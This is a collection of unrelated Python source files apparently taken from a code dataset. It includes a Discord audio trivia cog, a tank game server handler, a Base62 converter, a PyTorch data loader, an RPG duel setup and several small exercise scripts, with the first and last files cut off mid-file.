reverse the categories so that the first list's config takes\n # priority over the others.\n try:\n dict_ = self.get_audio_list(category)\n except FileNotFoundError:\n await ctx.send(\n \"Invalid category `{0}`. See `{1}audiotrivia list`\"\n \" for a list of trivia categories.\"\n \"\".format(category, ctx.prefix)\n )\n except InvalidListError:\n await ctx.send(\n \"There was an error parsing the trivia list for\"\n \" the `{}` category. It may be formatted\"\n \" incorrectly.\".format(category)\n )\n else:\n trivia_dict.update(dict_)\n authors.append(trivia_dict.pop(\"AUTHOR\", None))\n continue\n return\n if not trivia_dict:\n await ctx.send(\n \"The trivia list was parsed successfully, however it appears to be empty!\"\n )\n return\n settings = await self.config.guild(ctx.guild).all()\n audiosettings = await self.audioconf.guild(ctx.guild).all()\n config = trivia_dict.pop(\"CONFIG\", None)\n if config and settings[\"allow_override\"]:\n settings.update(config)\n settings[\"lists\"] = dict(zip(categories, reversed(authors)))\n\n # Delay in audiosettings overwrites delay in settings\n combined_settings = {**settings, **audiosettings}\n session = AudioSession.start(\n ctx=ctx, question_list=trivia_dict, settings=combined_settings, player=lavaplayer\n )\n self.trivia_sessions.append(session)\n LOG.debug(\"New audio trivia session; #%s in %d\", ctx.channel, ctx.guild.id)\n\n @audiotrivia.command(name=\"list\")\n @commands.guild_only()\n async def audiotrivia_list(self, ctx: commands.Context):\n \"\"\"List available trivia categories.\"\"\"\n lists = set(p.stem for p in self._audio_lists())\n\n msg = box(\"**Available trivia lists**\\n\\n{}\".format(\", \".join(sorted(lists))))\n if len(msg) > 1000:\n await ctx.author.send(msg)\n return\n await ctx.send(msg)\n\n def get_audio_list(self, category: str) -> dict:\n \"\"\"Get the audiotrivia list corresponding to the given category.\n\n Parameters\n ----------\n category : str\n The desired category. Case sensitive.\n\n Returns\n -------\n `dict`\n A dict mapping questions (`str`) to answers (`list` of `str`).\n\n \"\"\"\n try:\n path = next(p for p in self._audio_lists() if p.stem == category)\n except StopIteration:\n raise FileNotFoundError(\"Could not find the `{}` category.\".format(category))\n\n with path.open(encoding=\"utf-8\") as file:\n try:\n dict_ = yaml.load(file, Loader=yaml.SafeLoader)\n except yaml.error.YAMLError as exc:\n raise InvalidListError(\"YAML parsing failed.\") from exc\n else:\n return dict_\n\n def _audio_lists(self) -> List[pathlib.Path]:\n personal_lists = [p.resolve() for p in cog_data_path(self).glob(\"*.yaml\")]\n\n return personal_lists + get_core_lists()\n\n\ndef get_core_lists() -> List[pathlib.Path]:\n \"\"\"Return a list of paths for all trivia lists packaged with the bot.\"\"\"\n core_lists_path = pathlib.Path(__file__).parent.resolve() / \"data/lists\"\n return list(core_lists_path.glob(\"*.yaml\"))\n","sub_path":"audiotrivia/audiotrivia.py","file_name":"audiotrivia.py","file_ext":"py","file_size_in_byte":8378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"313647342","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\"\"\"\nEvaluate the value of an arithmetic expression in Reverse Polish Notation.\n\nValid operators are +, -, *, /. Each operand may be an integer or another expression.\n\nSome examples:\n [\"2\", \"1\", \"+\", \"3\", \"*\"] -> ((2 + 1) * 3) -> 9\n [\"4\", \"13\", \"5\", \"/\", \"+\"] -> (4 + (13 / 5)) -> 6\n\"\"\"\n\n# 注意负数除法舍入\nclass Solution(object):\n def evalRPN(self, tokens):\n \"\"\"\n :type tokens: List[str]\n :rtype: int\n \"\"\"\n stack = []\n for token in tokens:\n if token == '+':\n stack.append(stack.pop() + stack.pop())\n elif token == '-':\n val = stack.pop()\n stack.append(stack.pop() - val)\n elif token == '*':\n stack.append(stack.pop() * stack.pop())\n elif token == '/':\n val2 = stack.pop()\n val1 = stack.pop()\n stack.append(val1 / val2 if val1 * val2 >= 0 else -(abs(val1) / abs(val2)))\n else:\n stack.append(int(token))\n return stack[0]\n","sub_path":"Python/150-EvaluateReversePolishNotation/evalRPN.py","file_name":"evalRPN.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"587368522","text":"#! /usr/bin/python\n\n__author__ = 'Milad & Amin'\n\nfrom attackertank import *\nfrom defendertank import *\nfrom block import *\nfrom bomb import *\n\nimport constvars\nimport basictypes\nimport random\nimport math\nimport copy\n\n\nclass Handler(object):\n\tdef __init__(self):\n\t\tpass\n\t\t\n\t@staticmethod\n\tdef randomStartPosition(wm, tank_team):\n\t\ttank_height = AttackerTank.size.y\n\t\ttank_width = AttackerTank.size.x\n\t\tif tank_team == basictypes.Teams.right:\n\t\t\treturn Vector(random.uniform(tank_width, wm.field_width / 2.0 - tank_width), wm.field_height / 2.0)\n\t\telse:\n\t\t\treturn Vector(random.uniform(- (wm.field_width / 2.0 - tank_width), - tank_width), wm.field_height / 2.0)\n\n\t@staticmethod\n\tdef sign(var):\n\t\tif var == 0:\n\t\t\treturn 0\n\t\telif var > 0:\n\t\t\treturn 1\n\t\telse:\n\t\t\treturn -1\t\t\n\n\t@staticmethod\t\t\t\n\tdef addTank(wm, data):\n\t\tposition = Handler.randomStartPosition(wm, data[basictypes.DataNames.team])\n\t\tif data[basictypes.DataNames.tanktype] == basictypes.TankTypes.attacker:\n\t\t\twm.tanks[data[basictypes.DataNames.pid]] = AttackerTank(team=data[basictypes.DataNames.team], pos=position)\n\t\t\twm.tanks[data[basictypes.DataNames.pid]].launcherDirection = AttackerTank.launcherDirection_first\n\t\t\tif data[basictypes.DataNames.team] == basictypes.Teams.right:\n\t\t\t\twm.tanks[data[basictypes.DataNames.pid]].launcherDirection = 180 - AttackerTank.launcherDirection_first\n\t\t\twm.tanks_lastSeen[data[basictypes.DataNames.pid]] = 0\n\t\telif data[basictypes.DataNames.tanktype] == basictypes.TankTypes.defender:\n\t\t\twm.tanks[data[basictypes.DataNames.pid]] = DefenderTank(team=data[basictypes.DataNames.team], pos=position)\n\t\t\twm.tanks_lastSeen[data[basictypes.DataNames.pid]] = 0\n\t\telse: \n\t\t\traise Exception(\"types of tank must be or \")\n\n\t@staticmethod\t\t\t\n\tdef resetTank(wm, tank):\n\t\t\"\"\"reset a tank after destroyed\"\"\"\n\t\t\n\t\ttank.health = tank.healthMax\n\t\ttank.mana = tank.manaMax\n\t\ttank.position = Handler.randomStartPosition(wm, tank.team)\n\t\ttank.velocity = Vector(0, 0)\n\t\ttank.acceleration = Vector(0, 0)\n\t\tif tank.team == basictypes.Teams.right:\n\t\t\ttank.launcherDirection = 180.0 - tank.launcherDirection_first\n\t\telse:\n\t\t\ttank.launcherDirection = tank.launcherDirection_first\n\t\ttank.respawn_time = 0\n\t\tHandler.deleteRespawningTank(wm, tank)\n\n\t@staticmethod\t\t\n\tdef deleteDestroyedTank(wm, tank):\n\t\tfor pid in wm.tanks.keys():\n\t\t\tif wm.tanks[pid] == tank:\n\t\t\t\twm.respawning_tanks[pid] = copy.deepcopy(wm.tanks[pid])\n\t\t\t\tdel wm.tanks[pid]\n\n\t@staticmethod\n\tdef deleteRespawningTank(wm, tank):\n\t\tfor pid in wm.respawning_tanks.keys():\n\t\t\tif wm.respawning_tanks[pid] == tank:\n\t\t\t\twm.tanks[pid] = copy.deepcopy(wm.respawning_tanks[pid])\n\t\t\t\tdel wm.respawning_tanks[pid]\n\t\t\t\t#del wm.tanks_lastSeen[pid]\n\n\t@staticmethod\t\t\t\n\tdef destroyTank(wm, tank):\n\t\tif tank.team == basictypes.Teams.right:\n\t\t\twm.score_left += wm.destroyingScore\n\t\telse:\n\t\t\twm.score_right += wm.destroyingScore\t\n\n\t\ttank.position = Vector(0, 0)\n\t\ttank.velocity = Vector(0, 0)\n\t\ttank.acceleration = Vector(0, 0)\n\t\ttank.respawn_time = tank.respawn_time_default\n\t\tHandler.deleteDestroyedTank(wm, tank)\t\n\n\t@staticmethod\t\t\t\t\n\tdef isOnAir(obj):\n\t\t\"\"\"return true if object isn't on a \"\"\"\n\t\tif obj.velocity.y == 0 and obj.acceleration.y == 0:\n\t\t\tif obj.last_velocity_y_sign == 1: \n\t\t\t\treturn True\n\t\t\treturn False\n\t\treturn True\n\n\t@staticmethod\t\n\tdef tank_jump(tank):\n\t\tif not isinstance (tank, DefenderTank):\n\t\t\treturn\n\t\tif tank.mana < tank.manaCost:\n\t\t\treturn\n\t\ttank.mana -= tank.manaCost\n\t\ttank.velocity.y = tank.jumpSpeed\n\t\n\t@staticmethod\t\n\tdef tank_goRight(tank):\n\t\tif Handler.isOnAir(tank):\n\t\t\treturn\n\t\tif isinstance(tank, AttackerTank):\n\t\t\ttank.velocity.x = +tank.speed * tank.health / tank.healthMax\n\t\telse:\n\t\t\ttank.velocity.x = +tank.speed \n\n\t@staticmethod\t\n\tdef tank_goLeft(tank):\n\t\tif Handler.isOnAir(tank):\n\t\t\treturn\n\t\tif isinstance(tank, AttackerTank):\n\t\t\ttank.velocity.x = -tank.speed * tank.health / tank.healthMax\n\t\telse:\n\t\t\ttank.velocity.x = -tank.speed \n\n\t@staticmethod\n\tdef tank_increaseAngle(wm, tank):\n\t\tif not isinstance(tank, AttackerTank):\n\t\t\treturn\n\t\tif tank.team == basictypes.Teams.right:\n\t\t\tif tank.launcherDirection - tank.launcherDirection_speed * wm.cycle_time >= 180 - tank.launcherDirection_max:\n\t\t\t\ttank.launcherDirection -= tank.launcherDirection_speed * wm.cycle_time\n\t\telse:\n\t\t\tif tank.launcherDirection + tank.launcherDirection_speed * wm.cycle_time <= tank.launcherDirection_max:\n\t\t\t\ttank.launcherDirection += tank.launcherDirection_speed * wm.cycle_time\n\n\t@staticmethod\n\tdef tank_decreaseAngle(wm, tank):\n\t\t\"\"\"decrease angle of an object \"\"\"\n\t\tif not isinstance(tank, AttackerTank):\n\t\t\treturn\n\t\t\t\n\t\tif tank.team == basictypes.Teams.right:\n\t\t\tif tank.launcherDirection + tank.launcherDirection_speed * wm.cycle_time <= 180 - tank.launcherDirection_min:\n\t\t\t\ttank.launcherDirection += tank.launcherDirection_speed * wm.cycle_time\n\t\telse:\n\t\t\tif tank.launcherDirection - tank.launcherDirection_speed * wm.cycle_time >= tank.launcherDirection_min:\n\t\t\t\ttank.launcherDirection -= tank.launcherDirection_speed * wm.cycle_time\n\n\t@staticmethod\n\tdef tank_shoot(wm, tank):\n\t\tif not isinstance(tank, AttackerTank):\n\t\t\treturn\n\t\tif tank.mana < tank.manaCost:\n\t\t\treturn\n\n\t\tcos = math.cos(math.radians(tank.launcherDirection))\n\t\tsin = math.sin(math.radians(tank.launcherDirection))\n\t\ttank.mana -= tank.manaCost\n\t\twm.bombs.append(Bomb(wm.bombs_counter, Vector(tank.position.x - Handler.sign(cos) * tank.size.x /2.0 + tank.launcherLength * cos, tank.position.y + tank.size.y /2.0 + tank.launcherLength * sin),\n\t\t\t\t\t\t\tVector(tank.shootSpeed * cos + tank.velocity.x, tank.shootSpeed * sin + tank.velocity.y), Vector(0, wm.physics_gravity)))\t\n\t\ttank.velocity -= Vector(tank.shootSpeed * cos, tank.shootSpeed * sin) * tank.momentum_const\n\t\twm.bombs_counter += 1\n\n\t@staticmethod\t\n\tdef remove_bomb(wm, bomb):\n\t\t\"\"\"remove a bomb from worldModel \"\"\"\n\t\tif bomb in wm.bombs: \n\t\t\twm.bombs.remove(bomb)\n\n\t@staticmethod\t\t\n\tdef bomb_explosion(wm, bomb, obj):\n\t\tif isinstance(obj, Tank):\n\t\t\tif isinstance(obj, AttackerTank):\n\t\t\t\tobj.health -= obj.healthCost\n\t\t\t\tif obj.health <= 0:\n\t\t\t\t\tHandler.destroyTank(wm, obj)\n\t\t\tobj.velocity += bomb.velocity * obj.explosion_const\n\t\tHandler.remove_bomb(wm, bomb)\n\n\t@staticmethod\t\n\tdef checkCollision(wm, obj): \n\t\tif not isinstance(obj, DynamicObject):\n\t\t\treturn \n\t\t#check collision for bomb\n\t\tif isinstance(obj, Bomb):\n\t\t\t\n\t\t\tbefore_x = obj.position.x + Handler.sign(obj.velocity.x) * obj.radius\n\t\t\tafter_x = obj.position.x + Handler.sign(obj.velocity.x) * obj.radius + wm.cycle_time * obj.velocity.x + .5 * (wm.cycle_time ** 2) * obj.acceleration.x\n\t\t\tbefore_y = obj.position.y + Handler.sign(obj.velocity.y) * obj.radius\n\t\t\tafter_y = obj.position.y + Handler.sign(obj.velocity.y) * obj.radius + wm.cycle_time * obj.velocity.y + .5 * (wm.cycle_time ** 2) * obj.acceleration.y\n\t\t\tfor block in wm.blocks:\n\t\t\t\tcondition_x = cmp(before_x, block.position.x - Handler.sign(obj.velocity.x) * block.width / 2.0) * cmp(after_x, block.position.x - Handler.sign(obj.velocity.x) * block.width / 2.0) <= 0 and abs(obj.position.y - block.position.y) < obj.radius + block.height / 2.0 \n\t\t\t\tcondition_y = cmp(before_y, block.position.y - Handler.sign(obj.velocity.y) * block.height / 2.0) * cmp(after_y, block.position.y - Handler.sign(obj.velocity.y) * block.height / 2.0) <= 0 and abs(obj.position.x - block.position.x) < obj.radius + block.width / 2.0\n\t\t\t\tcondition_2 = abs((block.position - obj.position).x) < obj.radius + block.width / 2.0 and abs((block.position - obj.position).y) <= obj.radius + block.height / 2\n\t\t\t\tif condition_x or condition_y or condition_2:\n\t\t\t\t\tHandler.bomb_explosion(wm, obj, block)\n\t\t\t\t\tbreak\n\n\t\t\tfor tank in wm.tanks.values():\n\t\t\t\tif abs((tank.position - obj.position).x) < obj.radius + tank.size.x / 2.0 and abs((tank.position - obj.position).y) <= obj.radius + tank.size.y / 2: \n\t\t\t\t\tHandler.bomb_explosion(wm, obj, tank)\n\n\t\t#check collision for tank\n\t\telif isinstance(obj, Tank):\n\t\t\tif cmp(obj.velocity.x, 0) * cmp(obj.velocity.x + obj.acceleration.x * wm.cycle_time, 0) < 0:\n\t\t\t\tobj.velocity.x = 0\n\t\t\tbefore_x = obj.position.x + Handler.sign(obj.velocity.x) * obj.size.x / 2.0\n\t\t\tafter_x = obj.position.x + Handler.sign(obj.velocity.x) * obj.size.x / 2.0 + wm.cycle_time * obj.velocity.x + .5 * (wm.cycle_time ** 2) * obj.acceleration.x\n\t\t\tbefore_y = obj.position.y + Handler.sign(obj.velocity.y) * obj.size.y / 2.0\n\t\t\tafter_y = obj.position.y + Handler.sign(obj.velocity.y) * obj.size.y / 2.0 + wm.cycle_time * obj.velocity.y + .5 * (wm.cycle_time ** 2) * obj.acceleration.y\n\t\t\t\n\t\t\tfor block in wm.blocks:\n\t\t\t\tcondition_x = cmp(before_x, block.position.x - Handler.sign(obj.velocity.x) * block.width / 2.0) * cmp(after_x, block.position.x - Handler.sign(obj.velocity.x) * block.width / 2.0) <= .001 and abs(obj.position.y - block.position.y) <= obj.size.y / 2.0 + block.height / 2.0 + .001 \n\t\t\t\tcondition_y = cmp(before_y, block.position.y - Handler.sign(obj.velocity.y) * block.height / 2.0) * cmp(after_y, block.position.y - Handler.sign(obj.velocity.y) * block.height / 2.0) <= .001 and abs(obj.position.x - block.position.x) <= obj.size.x / 2.0 + block.width / 2.0 + .001\n\t\t\t\tif condition_x:\n\t\t\t\t\tobj.velocity.x = 0\n\t\t\t\t\tobj.acceleration.x = 0\n\t\t\t\tif condition_y:\n\t\t\t\t\tobj.last_velocity_y_sign = Handler.sign(obj.velocity.y)\n\t\t\t\t\tobj.velocity.y = 0\n\t\t\t\t\tobj.acceleration.y = 0 \n\n\t@staticmethod\t\t\t\t\n\tdef updateAcceleration(wm, obj):\n\t\t#obj is now just tank \n\t\tif Handler.isOnAir(obj):\n\t\t\tobj.acceleration = Vector(0, wm.physics_gravity)\n\t\telse:\n\t\t\tobj.acceleration = Vector(-Handler.sign(obj.velocity.x) * obj.mu, wm.physics_gravity) \t\n\n\t@staticmethod\n\tdef tank_updateManaAndHealthAndLauncher(wm, tank):\n\t\tif isinstance(tank, AttackerTank):\n\t\t\tif tank.health < tank.healthMax:\n\t\t\t\tif tank.health + tank.healthReg * wm.cycle_time > tank.healthMax:\n\t\t\t\t\ttank.health = tank.healthMax\n\t\t\t\telse:\n\t\t\t\t\ttank.health += tank.healthReg * wm.cycle_time\n\t\t\ttank.launcherLength = tank.launcherLength_min + (tank.mana / tank.manaMax) * (tank.launcherLength_max - tank.launcherLength_min)\n\t\t\n\t\tif tank.mana < tank.manaMax:\n\t\t\tif tank.mana + tank.manaReg * wm.cycle_time > tank.manaMax:\n\t\t\t\ttank.mana = tank.manaMax\n\t\t\telse:\n\t\t\t\ttank.mana += tank.manaReg * wm.cycle_time\n\t\t\t\tif isinstance(tank, AttackerTank):\n\t\t\t\t\ttank.mana += ((tank.healthMax - tank.health) / tank.healthMax) * tank.manaReg * wm.cycle_time\n\n\t@staticmethod\t\n\tdef updateVelocity(wm, obj):\n\t\tif not isinstance(obj, DynamicObject):\n\t\t\treturn TypeError(\"the argument must be a \")\n\t\t\n\t\tobj.velocity += obj.acceleration * wm.cycle_time\n\t\t\n\t\tHandler.checkCollision(wm, obj)\n\n\t@staticmethod\t\n\tdef updatePosition(wm, obj):\n\t\tobj.position.x += obj.velocity.x * wm.cycle_time + .5 * obj.acceleration.x * wm.cycle_time ** 2.0\n\t\tobj.position.y += obj.velocity.y * wm.cycle_time + .5 * obj.acceleration.y * wm.cycle_time ** 2.0\n\n\t@staticmethod\n\tdef doActions(wm, tank, actions):\n\t\tif type(actions) != list:\n\t\t\treturn\n\n\t\tif basictypes.Actions.shoot in actions:\n\t\t\tHandler.tank_shoot(wm, tank)\n\t\tif basictypes.Actions.jump in actions:\n\t\t\tHandler.tank_jump(tank)\n\t\tif basictypes.Actions.goright in actions:\n\t\t\tHandler.tank_goRight(tank)\n\t\tif basictypes.Actions.goleft in actions:\n\t\t\tHandler.tank_goLeft(tank)\n\t\tif basictypes.Actions.increaseangle in actions:\n\t\t\tHandler.tank_increaseAngle(wm, tank)\n\t\tif basictypes.Actions.decreaseangle in actions:\n\t\t\tHandler.tank_decreaseAngle(wm, tank)\n\n\t@staticmethod\t\t\n\tdef updateRespawningTank(wm, tank):\n\t\ttank.respawn_time -= wm.cycle_time\n\t\tif tank.respawn_time <= 0:\n\t\t\tHandler.resetTank(wm, tank)\n\t\t\t\n\t\t\n###############################################\t\n\n\t@staticmethod\n\tdef deleteDisconnectedTanks(wm):\n\t\ttanks = dict(wm.tanks.items() + wm.respawning_tanks.items())\n\t\tfor pid in tanks.keys():\n\t\t\tif wm.tanks_lastSeen[pid] > constvars.max_disconnectTime:\n\t\t\t\twm.disconnected_tanks[pid] = copy.deepcopy(tanks[pid])\n\t\t\t\tif pid in wm.tanks:\n\t\t\t\t\tdel wm.tanks[pid]\n\t\t\t\telif pid in wm.respawning_tanks:\n\t\t\t\t\tdel wm.respawning_tanks[pid]\n\t\t\t\t#del Handler.tanks_lastSeen[pid]\n\n\t@staticmethod\n\tdef updateLastSeenTanks(wm):\n\t\tfor pid in wm.tanks_lastSeen:\n\t\t\twm.tanks_lastSeen[pid] += 1\n\n\t@staticmethod\t\n\tdef update(wm, allClientsData):\n\t\tfor data in allClientsData:\n\t\t\tif type(data) == dict and basictypes.DataNames.pid in data:\n\t\t\t\tpid = data[basictypes.DataNames.pid]\n\t\t\t\twm.tanks_lastSeen[pid] = 0\n\t\t\t\tif pid in wm.disconnected_tanks:\n\t\t\t\t\tif isinstance(wm.disconnected_tanks[pid], AttackerTank) and wm.disconnected_tanks[pid].respawn_time > 0.0:\n\t\t\t\t\t\twm.respawning_tanks[pid] = copy.deepcopy(wm.disconnected_tanks[pid])\n\t\t\t\t\telse:\n\t\t\t\t\t\twm.tanks[pid] = copy.deepcopy(wm.disconnected_tanks[pid])\n\t\t\t\t\tdel wm.disconnected_tanks[pid]\n\t\t\t\telif pid in wm.respawning_tanks:\n\t\t\t\t\tpass #age bad az mordan leave beede be fana mire ehtemalan\n\t\t\t\telif not pid in wm.tanks:\n\t\t\t\t\tHandler.addTank(wm, data)\n\t\t\t\telse:\n\t\t\t\t\tif basictypes.DataNames.action in data:\n\t\t\t\t\t\tHandler.doActions(wm, wm.tanks[pid], data[basictypes.DataNames.action])\n\t\tHandler.deleteDisconnectedTanks(wm)\n\t\tHandler.updateLastSeenTanks(wm)\t\n\n\t\tbomb_index = len(wm.bombs) - 1\n\t\twhile bomb_index >=0:\n\t\t\tHandler.updateAcceleration(wm, wm.bombs[bomb_index])\n\t\t\tHandler.updateVelocity(wm, wm.bombs[bomb_index])\n\t\t\tbomb_index -=1\n\n\t\tbomb_index = len(wm.bombs) - 1\n\t\twhile bomb_index >=0:\n\t\t\tHandler.updatePosition(wm, wm.bombs[bomb_index])\n\t\t\tbomb_index -= 1\n\n\t\tfor pid in wm.tanks.keys():\n\t\t\tHandler.updateAcceleration(wm, wm.tanks[pid])\n\t\t\tHandler.updateVelocity(wm, wm.tanks[pid])\n\t\t\tHandler.updatePosition(wm, wm.tanks[pid])\n\t\t\tHandler.tank_updateManaAndHealthAndLauncher(wm, wm.tanks[pid])\n\n\t\t##updating respawning tanks\n\t\tfor pid in wm.respawning_tanks.keys():\n\t\t\tHandler.updateRespawningTank(wm, wm.respawning_tanks[pid])\t\n\n","sub_path":"server/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":13749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"557956558","text":"for t in range(int(input())):\n\n r=[]\n n,k=input().split()\n n,k=int(n),int(k)\n A=list(map(int,input().split()))\n for c in range(1,n+1):\n a=A[:]\n coins=0;\n for i in range(c):\n if a[i]%k!=0:\n coins=coins+a[i]%k\n a[i]=a[i]-a[i]%k\n if coins>0:\n for j in range(c,n):\n if coins>0:\n if a[j]%k!=0:\n coins-=k*(int(a[j]/k)+1) - a[j]\n a[j]=(int(a[j]/k)+1)*k\n else:\n break\n\n\n if coins>0:\n r.append(coins)\n print(min(r))\n","sub_path":"CASH.py","file_name":"CASH.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"228140320","text":"import torch\nimport os\n\nfrom torchvision import datasets, transforms\n\n\nclass DataTransformer(object):\n def __init__(self, dataloader):\n self.dataloader = iter(dataloader)\n\n def __iter__(self):\n return self\n\n def __next__(self):\n return self.next()\n\n def next(self):\n data = next(self.dataloader)\n data = data[0]\n data = data.reshape(-1)\n target = data[-1].clone()\n data[-1] = 0.0\n return (2, 2), data, target\n\n\nfile_abs_dir_path = os.path.dirname(os.path.realpath(__file__))\n\nceleb_dataset_path = os.path.join(\n os.path.join(os.path.join(\n file_abs_dir_path,\n '..'), 'data'), '5-celeb-faces'\n)\ntrain_celeb_dataset_path = os.path.join(celeb_dataset_path, 'train')\ntest_celeb_dataset_path = os.path.join(celeb_dataset_path, 'test')\n\ntransformations = transforms.Compose([\n transforms.RandomCrop((3, 3)),\n transforms.Grayscale(1),\n transforms.ToTensor()\n])\n\ntrain_fashion_loader = DataTransformer(\n torch.utils.data.DataLoader(\n datasets.FashionMNIST(\n '/tmp', train=True, download=True,\n transform=transformations\n )\n )\n)\n\ntest_fashion_loader = DataTransformer(\n torch.utils.data.DataLoader(\n datasets.FashionMNIST(\n '/tmp', train=False, download=True,\n transform=transformations\n )\n )\n)\n\ntrain_celeb_face_loader = DataTransformer(\n torch.utils.data.DataLoader(\n datasets.ImageFolder(\n train_celeb_dataset_path,\n transform=transformations\n )\n )\n)\n\ntest_celeb_face_loader = DataTransformer(\n torch.utils.data.DataLoader(\n datasets.ImageFolder(\n test_celeb_dataset_path,\n transform=transformations\n )\n )\n)\n\n\nif __name__ == '__main__':\n for idx, (data) in enumerate(test_celeb_face_loader):\n print(idx, data)","sub_path":"data_loader/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"492376597","text":"from math import floor\n\nBASE62 = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\n# Encode a positive integer to Base 62\n# Arguments: \n# --- num: Integer to encode\n# --- b: Keeps base conversion rate at 62\ndef encode62(num, b = 62):\n #if num == 0:\n # return BASE62[0]\n\n rem = num % b\n res = BASE62[rem]\n q = floor(num/b)\n\n while q:\n rem = q % b\n q = floor(q / b)\n res = BASE62[rem] + res\n\n return res\n\n# Decode a Base 62 numeral to a positive Base 10 integer\n# Arguments:\n# --- string: String variable containing Base 62 numeral to decode\n# --- b: Keeps base conversion rate at 62\ndef decode62(num, b = 62):\n\n limit = len(num)\n res = 0\n for i in range(limit):\n res = b * res + BASE62.find(num[i])\n return res","sub_path":"Base_62_Converter.py","file_name":"Base_62_Converter.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"564510148","text":"from Server.core.src.Entities.Duel import Duel\nfrom Server.core.src.Entities.Enemy import Enemy\nfrom Server.core.src.Entities.Player import Player\nfrom Server.core.src.Persistance.attacks import *\n\nrata = Enemy(name='Rata',\n level=2,\n hp=10,\n mana=8,\n strength=2,\n agility=8,\n vitality=10,\n energy=10,\n physical_defense=0,\n magical_defense=0,\n status='',\n exp=5,\n items=[],\n attack_list=(mordisco, escupitajo))\n\ntroll = Enemy(name='Troll',\n level=20,\n hp=30,\n mana=8,\n strength=20,\n agility=14,\n vitality=30,\n energy=10,\n physical_defense=0,\n magical_defense=0,\n status='',\n exp=5000,\n items=[],\n attack_list=(golpeGarrote, rompeCraneos))\n\n\ndragon = Enemy(name='Dragon',\n level=40,\n hp=90,\n mana=8,\n strength=70,\n agility=30,\n vitality=90,\n energy=50,\n physical_defense=0,\n magical_defense=0,\n status='',\n exp=5,\n items=[],\n attack_list=(coletazo, llamarada))\n\n# ESTE MAGO ES PARA TESTEAR (LUEGO SE IMPLEMENTARAN TEST UNITARIOS)\n\nmago = Player(name='Mago',\n level=1,\n hp=20,\n mana=30,\n strength=15,\n agility=10,\n vitality=20,\n energy=30,\n physical_defense=0,\n magical_defense=0,\n status='',\n exp=0,\n items=[],\n attack_list=(fireball, lightingStorm))\n\n\nduel = Duel(mago, troll)\nduel.start()\nmago.gain_exp(troll)\n","sub_path":"Server/core/src/Persistance/enemies.py","file_name":"enemies.py","file_ext":"py","file_size_in_byte":1888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"152311794","text":"def run():\n limite_inferior = int(input(\"Escribe el límite inferior: \"))\n limite_superior = int(input(\"Escribe el límite superior: \"))\n comparacion = int(input(\"Escribe el número de comparacion: \"))\n\n while comparacion < limite_inferior or comparacion > limite_superior:\n if comparacion < limite_inferior:\n print(str(comparacion) + \" esta por debajo de \" + str(limite_inferior)) \n\n if comparacion > limite_superior:\n print(str(comparacion) + \" esta por encima de \" + str(limite_superior))\n\n comparacion = int(input(\"Escribe el número de comparacion: \")) \n\n if comparacion >= limite_inferior and comparacion <= limite_superior:\n print(str(comparacion) + \" se encuentra en el rango de \" + str(limite_inferior) + \" y \" + str(limite_superior))\n\n\nif __name__ == \"__main__\":\n run()","sub_path":"rangos_cambiantes.py","file_name":"rangos_cambiantes.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"304784414","text":"import os\r\nimport logging\r\nimport subprocess\r\n\r\nlogging.basicConfig(level = logging.INFO,format = '%(asctime)s - %(name)s - %(levelname)s - %(message)s')\r\nlogger = logging.getLogger(__name__)\r\n\r\n\r\ndef log_cat(package):\r\n os.system(\"adb shell logcat -c\")\r\n cmd1=\"adb logcat | grep -i 'Displayed %s'\"%(package)\r\n op=subprocess.Popen(cmd1,stdout=subprocess.PIPE,universal_newlines=True)\r\n logger.info(\"开始获取日志\")\r\n return op","sub_path":"Method/Log.py","file_name":"Log.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"259923114","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('here', '0002_lovematch'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='lovematch',\n name='fname',\n field=models.CharField(max_length=20, verbose_name=b'\\xe5\\xa5\\xb3\\xe7\\x94\\x9f\\xe5\\x90\\x8d'),\n ),\n ]\n","sub_path":"buceagradual/here/migrations/0003_auto_20160621_1559.py","file_name":"0003_auto_20160621_1559.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"376464808","text":"from enum import Enum\r\nimport unittest\r\n\r\nclass Color(Enum):\r\n \"\"\" Enumeration of possible colors \"\"\"\r\n NONE = 0\r\n RED = 1\r\n BLACK = 2\r\n\r\nclass Board:\r\n \"\"\"\r\n Implementation of the game board.\r\n\r\n The contents of the board can be accessed using array notation. The\r\n board is 6 rows x 7 cols. Each cell is a Color enum.\r\n board = Board()\r\n print(board[3][2])\r\n board[4][1] = Color.RED\r\n \"\"\"\r\n\r\n def __init__(self):\r\n \"\"\" Initialize and clear the board \"\"\"\r\n self.clear()\r\n\r\n def __getitem__(self, index):\r\n \"\"\" Allows use of array indices, for example board[2][4] to get row 2 col 4 \"\"\"\r\n return self.state[index]\r\n\r\n def clear(self):\r\n \"\"\" Clear the board \"\"\"\r\n self.state = []\r\n for i in range(6):\r\n self.state.append([Color.NONE] * 7)\r\n\r\n def save(self):\r\n \"\"\"\r\n Save state to a string output of 7x6=42 characters\r\n Each character is one of the following\r\n 0 None\r\n 1 Red\r\n 2 Black\r\n Each cell is saved top to bottom, left to right\r\n 